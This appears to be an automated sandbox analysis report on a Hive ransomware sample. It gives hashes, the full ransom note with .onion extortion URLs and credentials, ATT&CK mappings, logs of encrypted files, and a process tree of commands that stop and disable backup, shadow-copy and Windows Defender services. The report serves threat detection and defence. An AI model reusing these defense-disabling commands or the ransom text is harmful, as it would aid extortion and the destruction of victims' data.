hive | 47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35

Analysis

max time kernel
130s
max time network
130s
platform
windows7_x64
resource
win7-en-20211104
submitted
24/11/2021, 14:30

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General

Target
serenb.exe
Size 3.4MB
Sample211124-rt6ahachej
SHA256 47dbb2594cd5eb7015ef08b7fb803cd5adc1a1fbe4849dc847c0940f1ccace35
MD5 177417be748814f6168171a42545f9dd
SHA1 9c8b988e66e0fe6f9dab69b1055e4ee200531094
SHA512 c90eebbd4663ffe4bec089e21e4f7c1a1441e21a2f78cc190b9ce85fd048bf46901aa74273695df7b6434887284a26d4fdaaf657cb5d9c5469574158adc351c2
MD5 SHA1 SHA512

Score

10^/10

hive evasion ransomware spyware stealer trojan

Malware Config

Extracted

Path

C:\Djfk_HOW_TO_DECRYPT.txt

hive

Ransom Note

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 8cqCy3hpBgcC Password: CVDT3LgEQvzteorqmxav To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.snwkz files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.

URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/
http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

evasion

Impair Defenses

T1562

Command-Line Interface

T1059

pid	Process
1628	MpCmdRun.exe

Hive
A ransomware written in Golang first seen in June 2021.
ransomware hive
Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\WinDefend\Start = "4"	reg.exe

Clears Windows event logs 1 TTPs
evasion ransomware

Indicator Removal on Host
T1070
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
484	bcdedit.exe
2000	bcdedit.exe

Modifies extensions of user files 12 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

description	ioc	Process
File opened for modification	C:\Users\Admin\Pictures\MountRemove.crw.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_s4rpsVsGBco0.snwkz	serenb.exe
File opened for modification	C:\Users\Admin\Pictures\RemoveWrite.tiff.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Xr_RUA2buRE0.snwkz	serenb.exe
File renamed	C:\Users\Admin\Pictures\SearchTrace.raw => C:\Users\Admin\Pictures\SearchTrace.raw.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_a6Z4lN5ROkM0.snwkz	serenb.exe
File renamed	C:\Users\Admin\Pictures\SendConvertTo.tif => C:\Users\Admin\Pictures\SendConvertTo.tif.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_tJi30oeqF840.snwkz	serenb.exe
File opened for modification	C:\Users\Admin\Pictures\SearchTrace.raw.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_a6Z4lN5ROkM0.snwkz	serenb.exe
File opened for modification	C:\Users\Admin\Pictures\SendConvertTo.tif.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_tJi30oeqF840.snwkz	serenb.exe
File renamed	C:\Users\Admin\Pictures\MeasureLock.crw => C:\Users\Admin\Pictures\MeasureLock.crw.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_fqNkIZYl1VM0.snwkz	serenb.exe
File opened for modification	C:\Users\Admin\Pictures\MeasureLock.crw.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_fqNkIZYl1VM0.snwkz	serenb.exe
File renamed	C:\Users\Admin\Pictures\MountRemove.crw => C:\Users\Admin\Pictures\MountRemove.crw.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_s4rpsVsGBco0.snwkz	serenb.exe
File renamed	C:\Users\Admin\Pictures\RegisterSkip.png => C:\Users\Admin\Pictures\RegisterSkip.png.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_PWE7NiDdd600.snwkz	serenb.exe
File opened for modification	C:\Users\Admin\Pictures\RegisterSkip.png.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_PWE7NiDdd600.snwkz	serenb.exe
File renamed	C:\Users\Admin\Pictures\RemoveWrite.tiff => C:\Users\Admin\Pictures\RemoveWrite.tiff.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Xr_RUA2buRE0.snwkz	serenb.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-nodes_ja.jar.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Eq844zxNs_00.snwkz	serenb.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\AUTHORS.txt.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_5w_v_kJPRbE0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\TRANSLAT\FREN\WT61FR.LEX.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_gzvEcRwMC240.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\ink\de-DE\InkObj.dll.mui	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\BabyBlue\TAB_OFF.GIF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_GqFITgMKH8E0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Bibliography\Style\GostTitle.XSL.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_sgMgTmZOr6s0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms4\FormsStyles\BabyBlue\TAB_OFF.GIF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_jL78eX_DFZM0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT-7.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_pyDO3fJ52zA0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\sunmscapi.jar.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_cQGase879EE0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_BCfmC8IXqLQ0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\IN00351_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_ZjLUCCxeweI0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA02435_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_4aILjUxVPjU0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveDocumentReview\ActiveTabImage.jpg.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_qXgTvVmBXtc0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\TipBand.dll.mui	serenb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Word.en-us\SETUP.XML.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_925xCOl1S1s0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0090087.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Ia5xrXocxHk0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\LINES\BD21495_.GIF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_FjGuyikSGnk0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\CommonData\CommsIncomingImage.jpg.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_7FjBkovjLhw0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OCRHC.DAT.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_1VG5oYesov80.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\BORDERS\MSART14.BDR.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_iKPs6hKMKLA0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Pohnpei.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_bsK98Ez12YY0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\RADIAL\RADIAL.INF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_IQGEmptg3xc0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\TRANSLAT\FREN\MSB1FREN.ITS.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_oLn_TFgrxww0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0198494.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_aX9LMoxV0OA0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\NA01627_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Q4Trga2_Xso0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\PH01213K.JPG.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Ybohv7Z6I-s0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0149481.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_WHr8MHhqdQM0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\pl-PL\tipresx.dll.mui	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\eclipse.inf.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_ENQPRPKjr4Q0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\FormsStyles\SoftBlue.css.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_day5OMRlflU0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\PicturePuzzle.Gadget\Images\5.png	serenb.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\16_9-frame-background.png	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-netbeans-modules-keyring.xml.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_UpX36vnha-M0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Curacao.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_7sxKrODzya40.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\RECYCLE.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_ZHClLfxjcWI0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\SO00192_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_FL1HGRZkoIc0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Templates\1033\Access\Part\List.accdt.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_23mAUsUWGME0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18257_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_AETYw73-vVE0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\de-DE\mshwLatin.dll.mui	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\feature.xml.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_PH-kXppir2Y0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Microsoft Games\More Games\fr-FR\MoreGames.dll.mui.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_ZezT7SeoFdU0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\SlideShow.Gadget\images\pause_down.png	serenb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\EQUATION\eqnedt32.exe.manifest.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z__2GGZSpnFW40.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\THEMES14\AXIS\AXIS.INF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Qrs0ya0Yiyc0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\HH00685_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_1jITQUrje1s0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\Groove\ToolData\groove.net\GrooveForms3\ViewHeaderPreview.jpg.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_UkDqoFgWg480.snwkz	serenb.exe
File created	C:\Program Files (x86)\Microsoft Office\Templates\1033\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\Publisher\Backgrounds\WB02134_.GIF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_OD4Pk-zQ0Ak0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\OFFICE14\AUTOSHAP\BD18208_.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_43FxPeTSnhA0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Currency.Gadget\ja-JP\js\library.js	serenb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\RSSFeeds.Gadget\de-DE\css\flyout.css	serenb.exe
File opened for modification	C:\Program Files (x86)\Windows Sidebar\Gadgets\Weather.Gadget\ja-JP\css\settings.css	serenb.exe
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\fsdefinitions\keypad\keypadbase.xml	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santiago.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_uf1RTzrAYI80.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.repository_2.3.0.v20131211-1531.jar.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_VYs4nPFPi_c0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64.nl_ja_4.4.0.v20140623020002.jar.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_Ag0DPeYxHwg0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Noronha.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_sBpeJ8sEyUg0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\GrooveForms5\bg_OliveGreen.gif.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_M3bExuZfLmQ0.snwkz	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\PUBWIZ\DGPICCAP.DPV.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_jDmhiSwJHKI0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Indian\Reunion.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_ZZNzLdUebOw0.snwkz	serenb.exe
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\en-US\css\settings.css	serenb.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\MEDIA\CAGCAT10\J0301252.WMF.2w5C61XeOz0IXwneN2bCFaNeg4AWg1zgWhKnM7Jia8z_sCzGWMqmzcg0.snwkz	serenb.exe
File created	C:\Program Files\Microsoft Games\Multiplayer\Spades\fr-FR\Djfk_HOW_TO_DECRYPT.txt	serenb.exe
File opened for modification	C:\Program Files\DVD Maker\directshowtap.ax	serenb.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

pid	Process
1060	vssadmin.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
988	powershell.exe
2124	powershell.exe
1456	serenb.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeSecurityPrivilege	1500	wevtutil.exe
Token: SeBackupPrivilege	1500	wevtutil.exe
Token: SeSecurityPrivilege	1244	wevtutil.exe
Token: SeBackupPrivilege	1244	wevtutil.exe
Token: SeSecurityPrivilege	852	wevtutil.exe
Token: SeBackupPrivilege	852	wevtutil.exe
Token: SeIncreaseQuotaPrivilege	1852	wmic.exe
Token: SeSecurityPrivilege	1852	wmic.exe
Token: SeTakeOwnershipPrivilege	1852	wmic.exe
Token: SeLoadDriverPrivilege	1852	wmic.exe
Token: SeSystemProfilePrivilege	1852	wmic.exe
Token: SeSystemtimePrivilege	1852	wmic.exe
Token: SeProfSingleProcessPrivilege	1852	wmic.exe
Token: SeIncBasePriorityPrivilege	1852	wmic.exe
Token: SeCreatePagefilePrivilege	1852	wmic.exe
Token: SeBackupPrivilege	1852	wmic.exe
Token: SeRestorePrivilege	1852	wmic.exe
Token: SeShutdownPrivilege	1852	wmic.exe
Token: SeDebugPrivilege	1852	wmic.exe
Token: SeSystemEnvironmentPrivilege	1852	wmic.exe
Token: SeRemoteShutdownPrivilege	1852	wmic.exe
Token: SeUndockPrivilege	1852	wmic.exe
Token: SeManageVolumePrivilege	1852	wmic.exe
Token: 33	1852	wmic.exe
Token: 34	1852	wmic.exe
Token: 35	1852	wmic.exe
Token: SeIncreaseQuotaPrivilege	240	wmic.exe
Token: SeSecurityPrivilege	240	wmic.exe
Token: SeTakeOwnershipPrivilege	240	wmic.exe
Token: SeLoadDriverPrivilege	240	wmic.exe
Token: SeSystemProfilePrivilege	240	wmic.exe
Token: SeSystemtimePrivilege	240	wmic.exe
Token: SeProfSingleProcessPrivilege	240	wmic.exe
Token: SeIncBasePriorityPrivilege	240	wmic.exe
Token: SeCreatePagefilePrivilege	240	wmic.exe
Token: SeBackupPrivilege	240	wmic.exe
Token: SeRestorePrivilege	240	wmic.exe
Token: SeShutdownPrivilege	240	wmic.exe
Token: SeDebugPrivilege	240	wmic.exe
Token: SeSystemEnvironmentPrivilege	240	wmic.exe
Token: SeRemoteShutdownPrivilege	240	wmic.exe
Token: SeUndockPrivilege	240	wmic.exe
Token: SeManageVolumePrivilege	240	wmic.exe
Token: 33	240	wmic.exe
Token: 34	240	wmic.exe
Token: 35	240	wmic.exe
Token: SeIncreaseQuotaPrivilege	240	wmic.exe
Token: SeSecurityPrivilege	240	wmic.exe
Token: SeTakeOwnershipPrivilege	240	wmic.exe
Token: SeLoadDriverPrivilege	240	wmic.exe
Token: SeSystemProfilePrivilege	240	wmic.exe
Token: SeSystemtimePrivilege	240	wmic.exe
Token: SeProfSingleProcessPrivilege	240	wmic.exe
Token: SeIncBasePriorityPrivilege	240	wmic.exe
Token: SeCreatePagefilePrivilege	240	wmic.exe
Token: SeBackupPrivilege	240	wmic.exe
Token: SeRestorePrivilege	240	wmic.exe
Token: SeShutdownPrivilege	240	wmic.exe
Token: SeDebugPrivilege	240	wmic.exe
Token: SeSystemEnvironmentPrivilege	240	wmic.exe
Token: SeRemoteShutdownPrivilege	240	wmic.exe
Token: SeUndockPrivilege	240	wmic.exe
Token: SeManageVolumePrivilege	240	wmic.exe
Token: 33	240	wmic.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1456 wrote to memory of 620	1456	serenb.exe	28
PID 1456 wrote to memory of 620	1456	serenb.exe	28
PID 1456 wrote to memory of 620	1456	serenb.exe	28
PID 620 wrote to memory of 560	620	net.exe	30
PID 620 wrote to memory of 560	620	net.exe	30
PID 620 wrote to memory of 560	620	net.exe	30
PID 1456 wrote to memory of 1492	1456	serenb.exe	31
PID 1456 wrote to memory of 1492	1456	serenb.exe	31
PID 1456 wrote to memory of 1492	1456	serenb.exe	31
PID 1492 wrote to memory of 924	1492	net.exe	33
PID 1492 wrote to memory of 924	1492	net.exe	33
PID 1492 wrote to memory of 924	1492	net.exe	33
PID 1456 wrote to memory of 676	1456	serenb.exe	34
PID 1456 wrote to memory of 676	1456	serenb.exe	34
PID 1456 wrote to memory of 676	1456	serenb.exe	34
PID 676 wrote to memory of 876	676	net.exe	36
PID 676 wrote to memory of 876	676	net.exe	36
PID 676 wrote to memory of 876	676	net.exe	36
PID 1456 wrote to memory of 280	1456	serenb.exe	37
PID 1456 wrote to memory of 280	1456	serenb.exe	37
PID 1456 wrote to memory of 280	1456	serenb.exe	37
PID 280 wrote to memory of 484	280	net.exe	39
PID 280 wrote to memory of 484	280	net.exe	39
PID 280 wrote to memory of 484	280	net.exe	39
PID 1456 wrote to memory of 1304	1456	serenb.exe	40
PID 1456 wrote to memory of 1304	1456	serenb.exe	40
PID 1456 wrote to memory of 1304	1456	serenb.exe	40
PID 1304 wrote to memory of 1148	1304	net.exe	42
PID 1304 wrote to memory of 1148	1304	net.exe	42
PID 1304 wrote to memory of 1148	1304	net.exe	42
PID 1456 wrote to memory of 1700	1456	serenb.exe	43
PID 1456 wrote to memory of 1700	1456	serenb.exe	43
PID 1456 wrote to memory of 1700	1456	serenb.exe	43
PID 1700 wrote to memory of 1064	1700	net.exe	45
PID 1700 wrote to memory of 1064	1700	net.exe	45
PID 1700 wrote to memory of 1064	1700	net.exe	45
PID 1456 wrote to memory of 1268	1456	serenb.exe	46
PID 1456 wrote to memory of 1268	1456	serenb.exe	46
PID 1456 wrote to memory of 1268	1456	serenb.exe	46
PID 1268 wrote to memory of 1680	1268	net.exe	48
PID 1268 wrote to memory of 1680	1268	net.exe	48
PID 1268 wrote to memory of 1680	1268	net.exe	48
PID 1456 wrote to memory of 992	1456	serenb.exe	49
PID 1456 wrote to memory of 992	1456	serenb.exe	49
PID 1456 wrote to memory of 992	1456	serenb.exe	49
PID 992 wrote to memory of 792	992	net.exe	51
PID 992 wrote to memory of 792	992	net.exe	51
PID 992 wrote to memory of 792	992	net.exe	51
PID 1456 wrote to memory of 956	1456	serenb.exe	52
PID 1456 wrote to memory of 956	1456	serenb.exe	52
PID 1456 wrote to memory of 956	1456	serenb.exe	52
PID 1456 wrote to memory of 1752	1456	serenb.exe	54
PID 1456 wrote to memory of 1752	1456	serenb.exe	54
PID 1456 wrote to memory of 1752	1456	serenb.exe	54
PID 1456 wrote to memory of 1012	1456	serenb.exe	56
PID 1456 wrote to memory of 1012	1456	serenb.exe	56
PID 1456 wrote to memory of 1012	1456	serenb.exe	56
PID 1456 wrote to memory of 2004	1456	serenb.exe	58
PID 1456 wrote to memory of 2004	1456	serenb.exe	58
PID 1456 wrote to memory of 2004	1456	serenb.exe	58
PID 1456 wrote to memory of 1000	1456	serenb.exe	60
PID 1456 wrote to memory of 1000	1456	serenb.exe	60
PID 1456 wrote to memory of 1000	1456	serenb.exe	60
PID 1456 wrote to memory of 880	1456	serenb.exe	62

C:\Users\Admin\AppData\Local\Temp\serenb.exe
"C:\Users\Admin\AppData\Local\Temp\serenb.exe"
1⤵
- Modifies extensions of user files
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\system32\net.exe
  net.exe stop "NetMsmqActivator" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "NetMsmqActivator" /y
    3⤵
    PID:560
- C:\Windows\system32\net.exe
  net.exe stop "SamSs" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SamSs" /y
    3⤵
    PID:924
- C:\Windows\system32\net.exe
  net.exe stop "SDRSVC" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:676
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SDRSVC" /y
    3⤵
    PID:876
- C:\Windows\system32\net.exe
  net.exe stop "SstpSvc" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:280
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "SstpSvc" /y
    3⤵
    PID:484
- C:\Windows\system32\net.exe
  net.exe stop "UI0Detect" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "UI0Detect" /y
    3⤵
    PID:1148
- C:\Windows\system32\net.exe
  net.exe stop "VSS" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1700
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "VSS" /y
    3⤵
    PID:1064
- C:\Windows\system32\net.exe
  net.exe stop "wbengine" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "wbengine" /y
    3⤵
    PID:1680
- C:\Windows\system32\net.exe
  net.exe stop "WebClient" /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:992
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop "WebClient" /y
    3⤵
    PID:792
- C:\Windows\system32\sc.exe
  sc.exe config "NetMsmqActivator" start= disabled
  2⤵
  PID:956
- C:\Windows\system32\sc.exe
  sc.exe config "SamSs" start= disabled
  2⤵
  PID:1752
- C:\Windows\system32\sc.exe
  sc.exe config "SDRSVC" start= disabled
  2⤵
  PID:1012
- C:\Windows\system32\sc.exe
  sc.exe config "SstpSvc" start= disabled
  2⤵
  PID:2004
- C:\Windows\system32\sc.exe
  sc.exe config "UI0Detect" start= disabled
  2⤵
  PID:1000
- C:\Windows\system32\sc.exe
  sc.exe config "VSS" start= disabled
  2⤵
  PID:880
- C:\Windows\system32\sc.exe
  sc.exe config "wbengine" start= disabled
  2⤵
  PID:940
- C:\Windows\system32\sc.exe
  sc.exe config "WebClient" start= disabled
  2⤵
  PID:1328
- C:\Windows\system32\reg.exe
